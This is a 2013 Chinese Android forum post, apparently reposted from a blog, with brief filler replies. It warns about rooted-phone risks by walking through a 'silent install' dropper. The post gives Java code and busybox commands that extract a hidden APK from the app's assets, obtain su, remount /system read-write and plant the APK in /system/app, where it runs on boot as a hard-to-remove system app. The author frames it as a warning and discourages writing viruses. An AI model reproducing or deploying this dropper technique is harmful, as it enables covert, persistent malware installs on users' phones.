search 登录 注册
arrow_back返回列表
ID:98594
light_modestarstarstar
Lv.1 韶华一笑间
edit_note帖子 21
stars积分 8,130
event加入 2012-03-10
安卓交流

[安卓技术]android手机root后的安全问题 (一)

schedule发表于 2013-05-01 14:38:00 visibility查看 622 chat_bubble回复 42
#1 楼主
前提:你有一部已经root的android手机,并且手机中有busybox和superuser
导读:本文介绍一种简单的病毒以及如何“防御”。
写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(由于这里无法上传附件,请移步到 http://su1216.iteye.com/blog/1668734 下载real.apk)。
real.apk里有一个receiver,用来监听开机的广播
[xml] view plaincopy
android.intent.action.BOOT_COMPLETED
还有一个activity,没有什么实质内容,然后编译出apk,待用。
下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
[java] view plaincopy
prepareButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
File dataFolder = getFilesDir();
File jar = new File(dataFolder.getAbsolutePath() + “/real.apk“);
copyFile(“real.apk“, jar, mResources);
}
}); 其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
[java] view plaincopy
InputStream myInput = null;
try
myInput = resources.getAssets().open(filePath);
……
catch
……
finally
……
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
[java] view plaincopy
installButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String packageName = getPackageName();
String[] *s = {“busybox mount -o remount,rw /system“,
“busybox cp /data/data/“ + packageName + “/files/real.apk /system/app/real.apk“,
“busybox rm /data/data/“ + packageName + “/files/real.apk“};
Process process = null;
DataOutputStream dataOutputStream = null;
try {
process = Runtime.getRuntime().*(“su“);
dataOutputStream = new DataOutputStream(process.getOutputStream());
int length = *s.length;
for (int i = 0; i < length; i++) {
Log.e(TAG, “*s[“ + i + “]:“ + *s[i]);
dataOutputStream.writeBytes(*s[i] + “\n“);
}
dataOutputStream.writeBytes(“exit\n“);
dataOutputStream.flush();
process.waitFor();
} catch (Exception e) {
Log.e(TAG, “copy fail“, e);
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
process.destroy();
} catch (Exception e) {
}
}
}
});
} 重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

全部回复 (42)

ID:130723
light_modestarstar
Lv.1 韶华一笑间
2013-08-24 17:13:00 #22
还会有
ID:142148
dark_modestarstarstar
Lv.1 韶华一笑间
2013-08-24 19:35:00 #23
PT
ID:142433
dark_modedark_modestarstar
Lv.1 韶华一笑间
2013-09-03 01:14:00 #24
不是死全
ID:35190
dark_modedark_modedark_mode
Lv.1 韶华一笑间
2013-09-04 21:28:00 #25
看看
ID:142644
dark_modestarstar
Lv.1 韶华一笑间
2013-09-05 10:29:00 #26
哈哈哈
ID:142647
dark_modestarstarstar
Lv.1 韶华一笑间
2013-09-05 10:30:00 #27
ID:142660
dark_modestarstarstar
Lv.1 韶华一笑间
2013-09-05 15:53:00 #28
ID:122145
light_modestar
Lv.1 韶华一笑间
2013-09-07 06:36:00 #29
蚃丝丝
ID:117609
light_modestarstar
Lv.1 韶华一笑间
2013-09-11 23:00:00 #30
才不会是
ID:132930
light_modestar
Lv.1 韶华一笑间
2013-09-12 17:55:00 #31
文件回贴*32楼**回*159236:才不会是(09-11 23:00)*31楼**回*黑人黑户:蚃丝丝(09-07 06:36)*30楼**回*ジ灵哲っ:。(09-05 15:53)*29楼**回*
ID:108302
light_modestar
Lv.1 韶华一笑间
2013-09-28 08:54:00 #32
ttyt
ID:102385
light_modestar
Lv.1 韶华一笑间
2013-09-28 13:00:00 #33
厉害
ID:76434
light_modestarstar
Lv.1 韶华一笑间
2013-09-28 17:42:00 #34
666
ID:93587
light_modestar
Lv.1 韶华一笑间
2013-09-30 12:44:00 #35
TM就
ID:111333
light_modestar
Lv.1 韶华一笑间
2013-09-30 13:28:00 #36
<『MI』小米 DIY运.营.商.各机型通用 需ro
ID:19141
light_modestarstarstar
Lv.1 韶华一笑间
2013-10-12 22:46:00 #37
gd
ID:140961
dark_modedark_modedark_modestar
Lv.1 韶华一笑间
2013-10-13 01:30:00 #38
yuuyu
ID:146778
dark_modedark_modestarstarstar
Lv.1 韶华一笑间
2013-12-04 00:53:00 #39
还吃饭
ID:133289
dark_modedark_modedark_modestar
Lv.1 韶华一笑间
2013-12-25 22:29:00 #40
也要好好休息休息
登录 后才能回复